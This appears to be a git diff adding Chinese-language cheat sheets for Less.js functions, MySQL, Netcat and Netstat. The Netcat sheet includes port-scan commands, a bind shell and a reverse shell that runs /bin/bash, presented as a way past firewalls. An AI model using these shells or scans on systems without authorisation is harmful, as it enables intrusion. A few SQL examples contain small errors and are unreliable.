`ispercentage`| 值是否为 百分百 值 [#](https://lesscss.org/functions/#type-functions-ispercentage)
|
||||
`isunit`| 值是是否为指定单位的数字 [#](https://lesscss.org/functions/#type-functions-isunit)
|
||||
`isruleset`| 值是否为规则集 [#](https://lesscss.org/functions/#type-functions-isruleset)
|
||||
`isdefined`| 值是否为 defined [#](https://lesscss.org/functions/#type-functions-isdefined)
|
||||
|
||||
### 杂项函数
|
||||
|
||||
:- | :-
|
||||
:- | :-
|
||||
`color`| [#](https://lesscss.org/functions/#misc-functions-color)
|
||||
`image-size`| [#](https://lesscss.org/functions/#misc-functions-image-size)
|
||||
`image-width`| [#](https://lesscss.org/functions/#misc-functions-image-width)
|
||||
`image-height`| [#](https://lesscss.org/functions/#misc-functions-image-height)
|
||||
`convert`| [#](https://lesscss.org/functions/#misc-functions-convert)
|
||||
`data-uri`| [#](https://lesscss.org/functions/#misc-functions-data-uri)
|
||||
`default`| [#](https://lesscss.org/functions/#misc-functions-default)
|
||||
`unit`| [#](https://lesscss.org/functions/#misc-functions-unit)
|
||||
`get-unit`| [#](https://lesscss.org/functions/#misc-functions-get-unit)
|
||||
`svg-gradient`| [#](https://lesscss.org/functions/#misc-functions-svg-gradient)
|
||||
|
||||
### 颜色通道函数
|
||||
|
||||
:- | :-
|
||||
:- | :-
|
||||
`hue`| [#](https://lesscss.org/functions/#color-channel-hue)
|
||||
`saturation`| [#](https://lesscss.org/functions/#color-channel-saturation)
|
||||
`lightness`| [#](https://lesscss.org/functions/#color-channel-lightness)
|
||||
`hsvhue`| [#](https://lesscss.org/functions/#color-channel-hsvhue)
|
||||
`hsvsaturation`| [#](https://lesscss.org/functions/#color-channel-hsvsaturation)
|
||||
`hsvvalue`| [#](https://lesscss.org/functions/#color-channel-hsvvalue)
|
||||
`red`| [#](https://lesscss.org/functions/#color-channel-red)
|
||||
`green`| [#](https://lesscss.org/functions/#color-channel-green)
|
||||
`blue`| [#](https://lesscss.org/functions/#color-channel-blue)
|
||||
`alpha`| [#](https://lesscss.org/functions/#color-channel-alpha)
|
||||
`luma`| [#](https://lesscss.org/functions/#color-channel-luma)
|
||||
`luminance`| [#](https://lesscss.org/functions/#color-channel-luminance)
|
||||
|
||||
### 色彩运算函数
|
||||
|
||||
:- | :-
|
||||
:- | :-
|
||||
`saturate`| [#](https://lesscss.org/functions/#color-operations-saturate)
|
||||
`desaturate`| [#](https://lesscss.org/functions/#color-operations-desaturate)
|
||||
`lighten`| [#](https://lesscss.org/functions/#color-operations-lighten)
|
||||
`darken`| [#](https://lesscss.org/functions/#color-operations-darken)
|
||||
`fadein`| [#](https://lesscss.org/functions/#color-operations-fadein)
|
||||
`fadeout`| [#](https://lesscss.org/functions/#color-operations-fadeout)
|
||||
`fade`| [#](https://lesscss.org/functions/#color-operations-fade)
|
||||
`spin`| [#](https://lesscss.org/functions/#color-operations-spin)
|
||||
`mix`| [#](https://lesscss.org/functions/#color-operations-mix)
|
||||
`tint`| [#](https://lesscss.org/functions/#color-operations-tint)
|
||||
`shade`| [#](https://lesscss.org/functions/#color-operations-shade)
|
||||
`greyscale`| [#](https://lesscss.org/functions/#color-operations-greyscale)
|
||||
`contrast`| [#](https://lesscss.org/functions/#color-operations-contrast)
|
||||
|
||||
### 颜色混合功能
|
||||
|
||||
:- | :-
|
||||
:- | :-
|
||||
`multiply`| [#](https://lesscss.org/functions/#color-blending-multiply)
|
||||
`screen`| [#](https://lesscss.org/functions/#color-blending-screen)
|
||||
`overlay`| [#](https://lesscss.org/functions/#color-blending-overlay)
|
||||
`softlight`| [#](https://lesscss.org/functions/#color-blending-softlight)
|
||||
`hardlight`| [#](https://lesscss.org/functions/#color-blending-hardlight)
|
||||
`difference`| [#](https://lesscss.org/functions/#color-blending-difference)
|
||||
`exclusion`| [#](https://lesscss.org/functions/#color-blending-exclusion)
|
||||
`average`| [#](https://lesscss.org/functions/#color-blending-average)
|
||||
`negation`| [#](https://lesscss.org/functions/#color-blending-negation)
|
||||
|
||||
另见
|
||||
---
|
||||
|
||||
- [Less.js 官网](http://lesscss.org) _(lesscss.org)_
|
||||
- [CSS 备忘清单](./css.md) _(jaywcjlove.github.io)_
|
||||
- [Stylus 备忘清单](./stylus.md) _(jaywcjlove.github.io)_
|
||||
- [在线编译预览](http://lesscss.org/less-preview/#eyJjb2RlIjoiI2xpYigpIHtcbiAgICAuY29sb3JzKCkge1xuICAgICAgQHByaW1hcnk6IGJsdWU7XG4gICAgICBAc2Vjb25kYXJ5OiBncmVlbjtcbiAgICB9XG4gICAgLnJ1bGVzKEBzaXplKSB7XG4gICAgICBib3JkZXI6IEBzaXplIHNvbGlkIHdoaXRlO1xuICAgIH1cbiAgfVxuICBcbiAgLmJveCB3aGVuICgjbGliLmNvbG9yc1tAcHJpbWFyeV0gPSBibHVlKSB7XG4gICAgd2lkdGg6IDEwMHB4O1xuICAgIGhlaWdodDogKCR3aWR0aCAvIDIpO1xuICB9XG4gIFxuICAuYmFyOmV4dGVuZCguYm94KSB7XG4gICAgQG1lZGlhIChtaW4td2lkdGg6IDYwMHB4KSB7XG4gICAgICB3aWR0aDogMjAwcHg7XG4gICAgICAjbGliLnJ1bGVzKDFweCk7XG4gICAgfVxuICB9IiwiYWN0aXZlVmVyc2lvbiI6IjQueCJ9) _(lesscss.org)_
|
||||
605
docs/mysql.md
Normal file
605
docs/mysql.md
Normal file
@ -0,0 +1,605 @@
|
||||
MySQL 备忘清单
|
||||
===
|
||||
|
||||
本备忘单旨在快速理解 [MySQL](https://mysql.com) 所涉及的主要概念，提供了最常用的SQL语句，供您参考。
|
||||
|
||||
|
||||
入门
|
||||
---
|
||||
|
||||
### 介绍
|
||||
<!--rehype:wrap-class=row-span-3-->
|
||||
|
||||
MySQL 为关系型数据库(Relational Database Management System)，一个关系型数据库由一个或数个表格组成，如下所示的一个表格
|
||||
|
||||
----
|
||||
|
||||
```bash
|
||||
name ▼ 键 ▼ 列(col)
|
||||
┌┈┈┈┈┬┈┈┈┈┈┈┈┈┬┈┈┈┈┈┈┬┈┈┈┈┈┈┈┐
|
||||
┆ id ┆ name ┆ uid ┆ level ┆ ◀ 表头header
|
||||
├┈┈┈┈┼┈┈┈┈┈┈┈┈┤┈┈┈┈┈┈┤┈┈┈┈┈┈┈┤
|
||||
┆ 1 ┆ mysql ┆ 0 ┆ 3 ┆
|
||||
├┈┈┈┈┼┈┈┈┈┈┈┈┈┤┈┈┈┈┈┈┤┈┈┈┈┈┈┈┤
|
||||
┆ 2 ┆ redis ┆ 12 ┆ 1 ┆ ◀ 行 row
|
||||
└┈┈┈┈┴┈┈┈┈┈┈┈┈┴┈┈┈┈┈┈┴┈┈┈┈┈┈┈┘
|
||||
redis ▲ 值
|
||||
```
|
||||
|
||||
----
|
||||
|
||||
- `表头(header)` 每一列的名称
|
||||
- `列(col)` 具有相同数据类型的数据的集合
|
||||
- `行(row)` 每一行用来描述某个人/物的具体信息
|
||||
- `值(value)` 行的具体信息，每个值与该列数据类型相同
|
||||
- `键(key)` 用来识别某个特定的人/物的方法，有唯一性
|
||||
|
||||
### 登录MySQL
|
||||
|
||||
```shell
|
||||
# 默认用户名<root>，-p 是密码，
|
||||
# ⚠️参数后面不需要空格
|
||||
mysql -h 127.0.0.1 -u <用户名> -p<密码>
|
||||
mysql -D 数据库名 -h 主机名 -u 用户名 -p
|
||||
mysql -h <host> -P <端口号> -u <user> -p [db_name]
|
||||
mysql -h <host> -u <user> -p [db_name]
|
||||
```
|
||||
|
||||
### 常用的
|
||||
<!--rehype:wrap-class=row-span-3-->
|
||||
|
||||
#### 数据库 Database
|
||||
|
||||
:-|:-
|
||||
:-|:-
|
||||
`CREATE DATABASE` db `;` | `创建`数据库
|
||||
`SHOW DATABASES;` | `列出`数据库
|
||||
`USE` db`;` | `切换`到数据库
|
||||
`CONNECT` db `;` | `切换`到数据库
|
||||
`DROP DATABASE` db`;` | `删除`数据库
|
||||
|
||||
#### 表 Table
|
||||
|
||||
:-|:-
|
||||
:-|:-
|
||||
`SHOW TABLES;` | 列出当前数据库的表
|
||||
`SHOW FIELDS FROM` t`;` | 表的列表字段
|
||||
`DESC` t`;` | 显示表格结构
|
||||
`SHOW CREATE TABLE `t`;` | 显示创建表sql
|
||||
`TRUNCATE TABLE `t`;` | 删除表中的所有数据
|
||||
`DROP TABLE `t`;` | 删除表格
|
||||
|
||||
#### Proccess
|
||||
|
||||
:-|:-
|
||||
:-|:-
|
||||
`show processlist;` | 列出进程
|
||||
`kill` pid`;` | 杀死进程
|
||||
|
||||
### 查看 MySQL 信息
|
||||
|
||||
```shell
|
||||
# 显示当前mysql的version的各种信息
|
||||
mysql> status;
|
||||
# 显示当前mysql的version信息
|
||||
mysql> select version();
|
||||
# 查看 MySQL 端口号
|
||||
mysql> show global variables like 'port';
|
||||
```
|
||||
|
||||
### 退出MySQL会话
|
||||
|
||||
```bash
|
||||
mysql> exit
|
||||
```
|
||||
|
||||
退出 `quit;` 或 `\q;` 一样的效果
|
||||
|
||||
### 备份
|
||||
|
||||
创建备份
|
||||
|
||||
```sql
|
||||
mysqldump -u user -p db_name > db.sql
|
||||
```
|
||||
|
||||
导出不带架构的数据库
|
||||
|
||||
```shell
|
||||
mysqldump -u user -p db_name --no-data=true --add-drop-table=false > db.sql
|
||||
```
|
||||
<!--rehype:className=wrap-text -->
|
||||
|
||||
恢复备份
|
||||
|
||||
```shell
|
||||
mysql -u user -p db_name < db.sql
|
||||
```
|
||||
|
||||
MySQL 示例
|
||||
------
|
||||
|
||||
### 管理表格
|
||||
|
||||
创建一个包含三列的新表
|
||||
|
||||
```sql
|
||||
CREATE TABLE t (
|
||||
id INT,
|
||||
name VARCHAR DEFAULT NOT NULL,
|
||||
price INT DEFAULT 0
|
||||
PRIMARY KEY(id)
|
||||
);
|
||||
```
|
||||
|
||||
从数据库中删除表
|
||||
|
||||
```sql
|
||||
DROP TABLE t ;
|
||||
```
|
||||
|
||||
向表中添加新列
|
||||
|
||||
```sql
|
||||
ALTER TABLE t ADD column;
|
||||
```
|
||||
|
||||
从表中删除列c
|
||||
|
||||
```sql
|
||||
ALTER TABLE t DROP COLUMN c ;
|
||||
```
|
||||
|
||||
添加约束
|
||||
|
||||
```sql
|
||||
ALTER TABLE t ADD constraint;
|
||||
```
|
||||
|
||||
删除约束
|
||||
|
||||
```sql
|
||||
ALTER TABLE t DROP constraint;
|
||||
```
|
||||
|
||||
将表从t1重命名为t2
|
||||
|
||||
```sql
|
||||
ALTER TABLE t1 RENAME TO t2;
|
||||
```
|
||||
|
||||
将列c1重命名为c2
|
||||
|
||||
```sql
|
||||
ALTER TABLE t1 RENAME c1 TO c2 ;
|
||||
```
|
||||
|
||||
删除表中的所有数据
|
||||
|
||||
```sql
|
||||
TRUNCATE TABLE t;
|
||||
```
|
||||
|
||||
### 从表中查询数据
|
||||
|
||||
从表中查询列c1、c2中的数据
|
||||
|
||||
```sql
|
||||
SELECT c1, c2 FROM t
|
||||
```
|
||||
|
||||
查询表中的所有行和列
|
||||
|
||||
```sql
|
||||
SELECT * FROM t
|
||||
```
|
||||
|
||||
查询数据并使用条件筛选行
|
||||
|
||||
```sql
|
||||
SELECT c1, c2 FROM t
|
||||
WHERE condition
|
||||
```
|
||||
|
||||
查询表中的不同行
|
||||
|
||||
```sql
|
||||
SELECT DISTINCT c1 FROM t
|
||||
WHERE condition
|
||||
```
|
||||
|
||||
按升序或降序对结果集排序
|
||||
|
||||
```sql
|
||||
SELECT c1, c2 FROM t
|
||||
ORDER BY c1 ASC [DESC]
|
||||
```
|
||||
|
||||
跳过行的偏移并返回下n行
|
||||
|
||||
```sql
|
||||
SELECT c1, c2 FROM t
|
||||
ORDER BY c1
|
||||
LIMIT n OFFSET offset
|
||||
```
|
||||
|
||||
使用聚合函数对行进行分组
|
||||
|
||||
```sql
|
||||
SELECT c1, aggregate(c2)
|
||||
FROM t
|
||||
GROUP BY c1
|
||||
```
|
||||
|
||||
使用HAVING子句筛选组
|
||||
|
||||
```sql
|
||||
SELECT c1, aggregate(c2)
|
||||
FROM t
|
||||
GROUP BY c1
|
||||
HAVING condition
|
||||
```
|
||||
|
||||
### 从多个表查询
|
||||
<!--rehype:wrap-class=row-span-2-->
|
||||
|
||||
内部连接 t1 和 t2
|
||||
|
||||
```sql
|
||||
SELECT c1, c2
|
||||
FROM t1
|
||||
INNER JOIN t2 ON condition
|
||||
```
|
||||
|
||||
左连接t1和t1
|
||||
|
||||
```sql
|
||||
SELECT c1, c2
|
||||
FROM t1
|
||||
LEFT JOIN t2 ON condition
|
||||
```
|
||||
|
||||
右连接t1和t2
|
||||
|
||||
```sql
|
||||
SELECT c1, c2
|
||||
FROM t1
|
||||
RIGHT JOIN t2 ON condition
|
||||
```
|
||||
|
||||
执行完全外部连接
|
||||
|
||||
```sql
|
||||
SELECT c1, c2
|
||||
FROM t1
|
||||
FULL OUTER JOIN t2 ON condition
|
||||
```
|
||||
|
||||
生成表中行的笛卡尔积
|
||||
|
||||
```sql
|
||||
SELECT c1, c2
|
||||
FROM t1
|
||||
CROSS JOIN t2
|
||||
```
|
||||
|
||||
执行交叉连接的另一种方法
|
||||
|
||||
```sql
|
||||
SELECT c1, c2
|
||||
FROM t1, t2
|
||||
```
|
||||
|
||||
使用INNER Join子句将t1连接到自身
|
||||
|
||||
```sql
|
||||
SELECT c1, c2
|
||||
FROM t1 A
|
||||
INNER JOIN t1 B ON condition
|
||||
```
|
||||
|
||||
使用SQL运算符，合并两个查询中的行
|
||||
|
||||
```sql
|
||||
SELECT c1, c2 FROM t1
|
||||
UNION [ALL]
|
||||
SELECT c1, c2 FROM t2
|
||||
```
|
||||
|
||||
返回两个查询的交集
|
||||
|
||||
```sql
|
||||
SELECT c1, c2 FROM t1
|
||||
INTERSECT
|
||||
SELECT c1, c2 FROM t2
|
||||
```
|
||||
|
||||
从另一个结果集中减去一个结果集
|
||||
|
||||
```sql
|
||||
SELECT c1, c2 FROM t1
|
||||
MINUS
|
||||
SELECT c1, c2 FROM t2
|
||||
```
|
||||
|
||||
使用模式匹配%查询行_
|
||||
|
||||
```sql
|
||||
SELECT c1, c2 FROM t1
|
||||
WHERE c1 [NOT] LIKE pattern
|
||||
```
|
||||
|
||||
查询列表中的行
|
||||
|
||||
```sql
|
||||
SELECT c1, c2 FROM t
|
||||
WHERE c1 [NOT] IN value_list
|
||||
```
|
||||
|
||||
查询两个值之间的行
|
||||
|
||||
```sql
|
||||
SELECT c1, c2 FROM t
|
||||
WHERE c1 BETWEEN low AND high
|
||||
```
|
||||
|
||||
检查表中的值是否为NULL
|
||||
|
||||
```sql
|
||||
SELECT c1, c2 FROM t
|
||||
WHERE c1 IS [NOT] NULL
|
||||
```
|
||||
|
||||
### 使用 SQL 约束
|
||||
|
||||
将c1和c2设置为主键
|
||||
|
||||
```sql
|
||||
CREATE TABLE t(
|
||||
c1 INT, c2 INT, c3 VARCHAR,
|
||||
PRIMARY KEY (c1,c2)
|
||||
);
|
||||
```
|
||||
|
||||
将c2列设置为外键
|
||||
|
||||
```sql
|
||||
CREATE TABLE t1(
|
||||
c1 INT PRIMARY KEY,
|
||||
c2 INT,
|
||||
FOREIGN KEY (c2) REFERENCES t2(c2)
|
||||
);
|
||||
```
|
||||
|
||||
使c1和c2中的值唯一
|
||||
|
||||
```sql
|
||||
CREATE TABLE t(
|
||||
c1 INT, c1 INT,
|
||||
UNIQUE(c2,c3)
|
||||
);
|
||||
```
|
||||
|
||||
确保c1>0和c1>=c2中的值
|
||||
|
||||
```sql
|
||||
CREATE TABLE t(
|
||||
c1 INT, c2 INT,
|
||||
CHECK(c1> 0 AND c1 >= c2)
|
||||
);
|
||||
```
|
||||
c2列中的设置值不为NULL
|
||||
|
||||
```sql
|
||||
CREATE TABLE t(
|
||||
c1 INT PRIMARY KEY,
|
||||
c2 VARCHAR NOT NULL
|
||||
);
|
||||
```
|
||||
|
||||
### 修改数据
|
||||
|
||||
在表格中插入一行
|
||||
|
||||
```sql
|
||||
INSERT INTO t(column_list)
|
||||
VALUES(value_list);
|
||||
```
|
||||
|
||||
在表格中插入多行
|
||||
|
||||
```sql
|
||||
INSERT INTO t(column_list)
|
||||
VALUES (value_list),
|
||||
(value_list), …;
|
||||
```
|
||||
|
||||
将行从t2插入t1
|
||||
|
||||
```sql
|
||||
INSERT INTO t1(column_list)
|
||||
SELECT column_list
|
||||
FROM t2;
|
||||
```
|
||||
|
||||
更新列c1中所有行的新值
|
||||
|
||||
```sql
|
||||
UPDATE t
|
||||
SET c1 = new_value;
|
||||
```
|
||||
|
||||
更新列c1、c2中与条件匹配的值
|
||||
|
||||
```sql
|
||||
UPDATE t
|
||||
SET c1 = new_value,
|
||||
c2 = new_value
|
||||
WHERE condition;
|
||||
```
|
||||
|
||||
删除表中的所有数据
|
||||
|
||||
```sql
|
||||
DELETE FROM t;
|
||||
```
|
||||
|
||||
删除表中的行子集
|
||||
|
||||
```sql
|
||||
DELETE FROM t
|
||||
WHERE condition;
|
||||
```
|
||||
|
||||
### 管理视图
|
||||
<!--rehype:wrap-class=row-span-2-->
|
||||
|
||||
创建由c1和c2组成的新视图
|
||||
|
||||
```sql
|
||||
CREATE VIEW v(c1,c2)
|
||||
AS
|
||||
SELECT c1, c2
|
||||
FROM t;
|
||||
```
|
||||
|
||||
使用选中选项创建新视图
|
||||
|
||||
```sql
|
||||
CREATE VIEW v(c1,c2)
|
||||
AS
|
||||
SELECT c1, c2
|
||||
FROM t;
|
||||
WITH [CASCADED | LOCAL] CHECK OPTION;
|
||||
```
|
||||
|
||||
创建递归视图
|
||||
|
||||
```sql
|
||||
CREATE RECURSIVE VIEW v
|
||||
AS
|
||||
select-statement -- anchor part
|
||||
UNION [ALL]
|
||||
select-statement; -- recursive part
|
||||
```
|
||||
|
||||
创建临时视图
|
||||
|
||||
```sql
|
||||
CREATE TEMPORARY VIEW v
|
||||
AS
|
||||
SELECT c1, c2
|
||||
FROM t;
|
||||
```
|
||||
|
||||
删除视图
|
||||
|
||||
```sql
|
||||
DROP VIEW view_name;
|
||||
```
|
||||
|
||||
### 管理触发器
|
||||
|
||||
创建或修改触发器
|
||||
|
||||
```sql
|
||||
CREATE OR MODIFY TRIGGER trigger_name
|
||||
WHEN EVENT
|
||||
ON table_name TRIGGER_TYPE
|
||||
EXECUTE stored_procedure;
|
||||
```
|
||||
|
||||
#### WHEN
|
||||
|
||||
:-|:-
|
||||
:-|:-
|
||||
`BEFORE` | 在事件发生前调用
|
||||
`AFTER` | 事件发生后调用
|
||||
|
||||
#### EVENT
|
||||
|
||||
:-|:-
|
||||
:-|:-
|
||||
`INSERT` | 为INSERT调用
|
||||
`UPDATE` | 调用UPDATE
|
||||
`DELETE` | 调用DELETE
|
||||
|
||||
#### TRIGGER_TYPE
|
||||
|
||||
:-|:-
|
||||
:-|:-
|
||||
`FOR EACH ROW` | -
|
||||
`FOR EACH STATEMENT` | -
|
||||
|
||||
### 管理索引
|
||||
|
||||
在t表的c1和c2上创建索引
|
||||
|
||||
```sql
|
||||
CREATE INDEX idx_name
|
||||
ON t(c1,c2);
|
||||
```
|
||||
|
||||
在t表的c3、c4上创建唯一索引
|
||||
|
||||
```sql
|
||||
CREATE UNIQUE INDEX idx_name
|
||||
ON t(c3,c4)
|
||||
```
|
||||
|
||||
删除索引
|
||||
|
||||
```sql
|
||||
DROP INDEX idx_name;
|
||||
```
|
||||
|
||||
MySQL 数据类型
|
||||
---------
|
||||
|
||||
|
||||
### Strings
|
||||
|
||||
| - | - |
|
||||
|--------------|-----------------------------|
|
||||
| `CHAR` | String (0 - 255) |
|
||||
| `VARCHAR` | String (0 - 255) |
|
||||
| `TINYTEXT` | String (0 - 255) |
|
||||
| `TEXT` | String (0 - 65535) |
|
||||
| `BLOB` | String (0 - 65535) |
|
||||
| `MEDIUMTEXT` | String (0 - 16777215) |
|
||||
| `MEDIUMBLOB` | String (0 - 16777215) |
|
||||
| `LONGTEXT` | String (0 - 4294967295) |
|
||||
| `LONGBLOB` | String (0 - 4294967295) |
|
||||
| `ENUM` | One of preset options |
|
||||
| `SET` | Selection of preset options |
|
||||
|
||||
|
||||
### Date & time
|
||||
| Data Type | Format |
|
||||
|-------------|---------------------|
|
||||
| `DATE ` | yyyy-MM-dd |
|
||||
| `TIME ` | hh:mm:ss |
|
||||
| `DATETIME ` | yyyy-MM-dd hh:mm:ss |
|
||||
| `TIMESTAMP` | yyyy-MM-dd hh:mm:ss |
|
||||
| `YEAR ` | yyyy |
|
||||
|
||||
|
||||
### Numeric
|
||||
|
||||
| - | - |
|
||||
|---------------|---------------------------------------------------------------|
|
||||
| `TINYINT x` | Integer (-128 to 127) |
|
||||
| `SMALLINT x` | Integer (-32768 to 32767) |
|
||||
| `MEDIUMINT x` | Integer (-8388608 to 8388607) |
|
||||
| `INT x` | Integer (-2147483648 to 2147483647) |
|
||||
| `BIGINT x` | Integer (-9223372036854775808 to 9223372036854775807) |
|
||||
| `FLOAT` | Decimal (precise to 23 digits) |
|
||||
| `DOUBLE` | Decimal (24 to 53 digits) |
|
||||
| `DECIMAL` | "DOUBLE" stored as string |
|
||||
|
||||
另见
|
||||
---
|
||||
|
||||
- [SQL 基础教程](http://www.w3school.com.cn/sql/index.asp) _(w3school.com.cn)_
|
||||
- [SQL 语句教程](http://www.1keydata.com/cn/sql/sql-count.php) _(1keydata.com)_
|
||||
- [21分钟 MySQL 基础入门](https://jaywcjlove.github.io/mysql-tutorial/21-minutes-MySQL-basic-entry.html) _(jaywcjlove.github.io)_
|
||||
231
docs/netcat.md
Normal file
231
docs/netcat.md
Normal file
@ -0,0 +1,231 @@
|
||||
Netcat 备忘清单
|
||||
===
|
||||
|
||||
该备忘单提供了在 Linux 和 Unix 上使用 Netcat 的各种方法。
|
||||
|
||||
入门
|
||||
------
|
||||
<!--rehype:body-class=cols-5-->
|
||||
|
||||
### 用法
|
||||
<!--rehype:wrap-class=col-span-2-->
|
||||
|
||||
连接到位于任何地方的主机
|
||||
|
||||
```shell
|
||||
$ nc [options] [host] [port]
|
||||
```
|
||||
|
||||
监听传入连接
|
||||
|
||||
```shell
|
||||
$ nc -lp port [host] [port]
|
||||
```
|
||||
|
||||
### 选项示例
|
||||
<!--rehype:wrap-class=col-span-3 row-span-2-->
|
||||
|
||||
|
||||
选项 | 示例 | 说明
|
||||
:- | :- | :-
|
||||
`-h` | nc -h | 帮助
|
||||
`-z` | nc -z 192.168.1.9 1-100 | 端口扫描主机或 `IP` 地址
|
||||
`-v` | nc -zv 192.168.1.9 1-100 | 提供详细输出
|
||||
`-n` | nc -zn 192.168.1.9 1-100 | 通过禁用 `DNS` 解析进行快速扫描
|
||||
`-l` | nc -lp 8000 | `TCP` 侦听模式 _(用于入站连接)_
|
||||
`-w` | nc -w 180 192.168.1.9 8000 | 定义超时值
|
||||
`-k` | nc -kl 8000 | 断线后继续收听
|
||||
`-u` | nc -u 192.168.1.9 8000 | 使用 `UDP` 而不是 `TCP`
|
||||
`-q` | nc -q 1 192.168.1.9 8000 | 客户在 `EOF` 后熬夜
|
||||
`-4` | nc -4 -l 8000 | 仅限 `IPv4`
|
||||
`-6` | nc -6 -l 8000 | 仅限 `IPv6`
|
||||
|
||||
|
||||
### 聊天客户端-服务器
|
||||
<!--rehype:wrap-class=col-span-2-->
|
||||
|
||||
服务器 Server (192.168.1.9)
|
||||
|
||||
```shell
|
||||
$ nc -lv 8000
|
||||
```
|
||||
|
||||
客户端 Client
|
||||
|
||||
```shell
|
||||
$ nc 192.168.1.9 8000
|
||||
```
|
||||
|
||||
Netcat 示例
|
||||
--------
|
||||
|
||||
### Banner 抓取
|
||||
|
||||
```shell
|
||||
$ nc website.com 80
|
||||
GET index.html HTTP/1.1
|
||||
HEAD / HTTP/1.1
|
||||
```
|
||||
|
||||
或者
|
||||
|
||||
```shell
|
||||
echo "" | nc -zv -wl 192.168.1.1 801-805
|
||||
```
|
||||
|
||||
### 端口扫描
|
||||
|
||||
扫描 `21` 到 `25` 之间的端口
|
||||
|
||||
```shell
|
||||
$ nc -zvn 192.168.1.1 21-25
|
||||
```
|
||||
|
||||
扫描端口 `22`、`3306` 和 `8080`
|
||||
|
||||
```shell
|
||||
$ nc -zvn 192.168.1.1 22 3306 8080
|
||||
```
|
||||
|
||||
### 代理和端口转发
|
||||
|
||||
```shell
|
||||
$ nc -lp 8001 -c "nc 127.0.0.1 8000"
|
||||
```
|
||||
|
||||
或者
|
||||
|
||||
```shell
|
||||
$ nc -l 8001 | nc 127.0.0.1 8000
|
||||
```
|
||||
|
||||
创建从一个本地端口到另一个本地端口的隧道
|
||||
|
||||
### 下载文件
|
||||
|
||||
服务器 Server (192.168.1.9)
|
||||
|
||||
```shell
|
||||
$ nc -lv 8000 < file.txt
|
||||
```
|
||||
|
||||
客户端 Client
|
||||
|
||||
```shell
|
||||
$ nc -nv 192.168.1.9 8000 > file.txt
|
||||
```
|
||||
|
||||
假设您想将文件 `file.txt` 从服务器 A 传输到客户端 B。
|
||||
|
||||
### 上传文件
|
||||
|
||||
服务器 Server (192.168.1.9)
|
||||
|
||||
```shell
|
||||
$ nc -lv 8000 > file.txt
|
||||
```
|
||||
|
||||
客户端 Client
|
||||
|
||||
```shell
|
||||
$ nc 192.168.1.9 8000 < file.txt
|
||||
```
|
||||
|
||||
假设您想将文件 `file.txt` 从客户端 `B` 传输到服务器 `A`
|
||||
|
||||
### 目录传输
|
||||
|
||||
服务器 Server (192.168.1.9)
|
||||
|
||||
```shell
|
||||
$ tar -cvf – dir_name | nc -l 8000
|
||||
```
|
||||
|
||||
客户端 Client
|
||||
|
||||
```shell
|
||||
$ nc -n 192.168.1.9 8000 | tar -xvf -
|
||||
```
|
||||
|
||||
假设您想通过网络将目录从 `A` 传输到 `B`
|
||||
|
||||
### 加密传输
|
||||
<!--rehype:wrap-class=col-span-2-->
|
||||
|
||||
服务器 Server (192.168.1.9)
|
||||
|
||||
```shell
|
||||
$ nc -l 8000 | openssl enc -d -des3 -pass pass:password > file.txt
|
||||
```
|
||||
|
||||
客户端 Client
|
||||
|
||||
```shell
|
||||
$ openssl enc -des3 -pass pass:password | nc 192.168.1.9 8000
|
||||
```
|
||||
|
||||
在通过网络传输之前加密数据
|
||||
|
||||
### 克隆
|
||||
|
||||
服务器 Server (192.168.1.9)
|
||||
|
||||
```shell
|
||||
$ dd if=/dev/sda | nc -l 8000
|
||||
```
|
||||
|
||||
客户端 Client
|
||||
|
||||
```shell
|
||||
$ nc -n 192.168.1.9 8000 | dd of=/dev/sda
|
||||
```
|
||||
|
||||
克隆 linux PC 非常简单。假设你的系统盘是 /dev/sda
|
||||
|
||||
### 视频流
|
||||
|
||||
服务器 Server (192.168.1.9)
|
||||
|
||||
```shell
|
||||
$ cat video.avi | nc -l 8000
|
||||
```
|
||||
|
||||
客户端 Client
|
||||
|
||||
```shell {.wrap}
|
||||
$ nc 192.168.1.9 8000 | mplayer -vo x11 -cache 3000 -
|
||||
```
|
||||
|
||||
使用 netcat 流式传输视频
|
||||
|
||||
### 远程 shell
|
||||
|
||||
服务器 Server (192.168.1.9)
|
||||
|
||||
```shell
|
||||
$ nc -lv 8000 -e /bin/bash
|
||||
```
|
||||
|
||||
客户端 Client
|
||||
|
||||
```shell
|
||||
$ nc 192.168.1.9 8000
|
||||
```
|
||||
|
||||
我们已经使用 `telnet` 和 `ssh` 使用远程 `Shell`，但是如果它们没有安装并且我们没有安装它们的权限，那么我们也可以使用 `netcat` 创建远程 `shell`
|
||||
|
||||
### 逆转 shell
|
||||
|
||||
服务器 Server (192.168.1.9)
|
||||
|
||||
```shell
|
||||
$ nc -lv 8000
|
||||
```
|
||||
|
||||
客户端 Client
|
||||
|
||||
```shell
|
||||
$ nc 192.168.1.9 8000 -v -e /bin/bash
|
||||
```
|
||||
|
||||
反向 `shell` 通常用于绕过防火墙限制，例如阻止入站连接
|
||||
209
docs/netstat.md
Normal file
209
docs/netstat.md
Normal file
@ -0,0 +1,209 @@
|
||||
Netstat 备忘清单
|
||||
===
|
||||
|
||||
此快速参考备忘单提供了各种使用 netstat 命令的方法
|
||||
|
||||
入门
|
||||
-----
|
||||
|
||||
### 入门实例
|
||||
|
||||
端口 80 上的所有连接
|
||||
|
||||
```shell
|
||||
$ netstat -anp | grep :80
|
||||
```
|
||||
|
||||
网络统计帮助
|
||||
|
||||
```shell
|
||||
$ netstat -h
|
||||
```
|
||||
|
||||
### 监听
|
||||
|
||||
选项 | 说明
|
||||
:- | :-
|
||||
`netstat -ltunp` | 所有监听端口
|
||||
`netstat -ltn` | 监听 TCP 端口
|
||||
`netstat -lun` | 监听 UDP 端口
|
||||
`netstat -lx` | 监听 Unix 端口
|
||||
`netstat -lt` | 仅列出侦听 TCP 端口
|
||||
`netstat -lu` | 仅列出侦听 UDP 端口
|
||||
`netstat -l` | 列出所有监听条件
|
||||
|
||||
### 连接
|
||||
<!--rehype:wrap-class=row-span-2-->
|
||||
|
||||
选项 | 说明
|
||||
:- | :-
|
||||
`netstat -a` | 所有连接
|
||||
`netstat -at` | 所有 TCP 连接
|
||||
`netstat -au` | 所有 UDP 连接
|
||||
`netstat -ant` | 显示没有反向 DNS 查找的 IP 地址
|
||||
|
||||
|
||||
选项 | 说明
|
||||
:- | :-
|
||||
`netstat` | 活动连接
|
||||
`netstat -a` | 所有连接
|
||||
`netstat -at` | 所有 TCP 连接
|
||||
`netstat -au` | 所有 UDP 连接
|
||||
`netstat -ant` | 显示没有反向 DNS 查找的 IP 地址
|
||||
`netstat -tnl` | 监听 TCP 端口
|
||||
`netstat -unl` | 监听 UDP 端口
|
||||
|
||||
|
||||
### 网络
|
||||
|
||||
选项 | 说明
|
||||
:- | :-
|
||||
`netstat -i` | 显示网络接口
